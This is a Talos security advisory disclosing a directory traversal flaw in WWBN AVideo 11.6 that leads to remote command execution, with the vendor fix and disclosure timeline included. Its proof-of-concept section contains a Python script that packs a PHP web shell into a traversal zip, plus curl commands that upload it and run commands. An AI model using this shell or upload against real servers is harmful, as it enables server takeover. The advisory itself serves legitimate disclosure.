Talos Vulnerability Report


WWBN AVideo aVideoEncoder unzipDirectory directory traversal vulnerability

August 16, 2022
CVE Number



A directory traversal vulnerability exists in the unzipDirectory functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary command execution. An attacker can send an HTTP request to trigger this vulnerability.


The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

WWBN AVideo 11.6
WWBN AVideo dev master commit 3f7c0364


AVideo - https://github.com/WWBN/AVideo


9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H


CWE-22 - Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)


AVideo is a web application, mostly written in PHP, that can be used to create an audio/video sharing website. It allows users to import videos from various sources, encode and share them in various ways. Users can sign up to the website in order to share videos, while viewers have anonymous access to the publicly-available contents. The platform provides plugins for features like live streaming, skins, YouTube uploads and more.

The objects/aVideoEncoder.json.php file can be used to add new videos. This functionality does not need special configuration to be used. However, the user performing the request needs permission to upload videos.

When adding a new video, a downloadURL can be specified, so that AVideo fetches the url content and adds it as a video. Alternatively, a user can supply a zip file:

if (empty($_FILES['video']['tmp_name']) && !empty($_POST['chunkFile'])) {
    $_FILES['video']['tmp_name'] = $_POST['chunkFile'];  // [1]

// get video file from encoder
if (!empty($_FILES['video']['tmp_name'])) {
    $resolution = '';
    if (!empty($_POST['resolution'])) {
        $resolution = "_{$_POST['resolution']}";
    $filename = "{$videoFileName}{$resolution}.{$_POST['format']}"; // [2]

    $fsize = filesize($_FILES['video']['tmp_name']);

    _error_log("aVideoEncoder.json: receiving video upload to {$filename} filesize=" . ($fsize) . " (" . humanFileSize($fsize) . ")" . json_encode($_FILES));
    $destinationFile = decideMoveUploadedToVideos($_FILES['video']['tmp_name'], $filename); // [3]

At [1], the chunkFile parameter is read, then it is used at [3] when calling decideMoveUploadedToVideos. Note that, unless the video already exists (specified via the videos_id parameter), an attacker will need to specify the resolution parameter at [2]. Otherwise decideMoveUploadedToVideos will return early at [4].

function decideMoveUploadedToVideos($tmp_name, $filename, $type = "video") {
    if ($filename == '.zip') {
        return false; // [4]
    if ($type !== "zip" && $path_info['extension'] === 'zip') {
        _error_log("decideMoveUploadedToVideos: ZIp file {$filename}");
        $paths = Video::getPaths($path_info['filename']);
        $dir = $paths['path'];
        unzipDirectory($tmp_name, $dir); // unzip it  // [5]
        cleanDirectory($dir); // [6]

At [5] unzipDirectory is called to unzip $tmp_name inside the directory $dir. Then, cleanDirectory [6] is called.

function unzipDirectory($filename, $destination) {
    global $global;
    // Wait a couple of seconds to make sure the file has completed transfer
    ini_set('memory_limit', '-1');
    ini_set('max_execution_time', 7200); // 2 hours
    $cmd = "unzip {$filename} -d {$destination}" . "  2>&1";
    _error_log("unzipDirectory: {$cmd}");
    exec($cmd, $output, $return_val);

function cleanDirectory($dir, $allowedExtensions = ['key', 'm3u8', 'ts', 'vtt', 'jpg', 'gif', 'mp3', 'webm', 'webp']) {
    $ffs = scandir($dir);

    unset($ffs[array_search('.', $ffs, true)]);
    unset($ffs[array_search('..', $ffs, true)]);

    // prevent empty ordered elements
    if (count($ffs) < 1) {

    foreach ($ffs as $ff) {
        $current = $dir . '/' . $ff;
        if (is_dir($current)) {
            cleanDirectory($current, $allowedExtensions);
        $path_parts = pathinfo($current);
        if (!empty($path_parts['extension']) && !in_array($path_parts['extension'], $allowedExtensions)) {

unzipDirectory builds a command to unzip $filename into a $destination directory which is not under attack control.
cleanDirectory makes sure that only certain file extensions are present in the $destination directory.

The problem is that unzipDirectory, by calling the unzip binary, doesn’t check if the zip file contains directory traversal paths. This allows an attacker to supply a zip file containing .php files, which could lead to arbitrary code execution in the host.

Exploit Proof of Concept

First, one can create a zip file that stores shell.php in a parent directory within the zip file:

$ cat makezip.py
#!/usr/bin/env python3

import os
import zipfile

fname = "shell.php"
code = "<?php system($_GET['cmd']);"
open(fname, "w").write(code)
with zipfile.ZipFile('shell.zip', 'w', zipfile.ZIP_DEFLATED) as zipf:
    zipf.write(fname, "../" + fname)

Check contents:

$ ./makezip.py
$ unzip -t shell.zip
Archive:  shell.zip
    testing: ../shell.php             OK
No errors detected in compressed data of shell.zip.

As we can see, the zip contains one file ../shell.php.

The zip is then uploaded:

$ curl -k $'' \
    -H 'Cookie: 84b11d010cced71edffee7aa62c4eda0=ia8sm01gdn8kar80bp0q5bsp9l' \
    -F video=@shell.zip -F format=zip -F resolution=1

And shell.php can be used to execute commands:

$ curl -k $''
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Vendor confirms issues fixed on July 7th 2022


2022-06-29 - Initial Vendor Contact
2022-07-05 - Vendor Disclosure
2022-07-07 - Vendor Patch Release
2022-08-16 - Public Release


Discovered by Claudio Bozzato of Cisco Talos.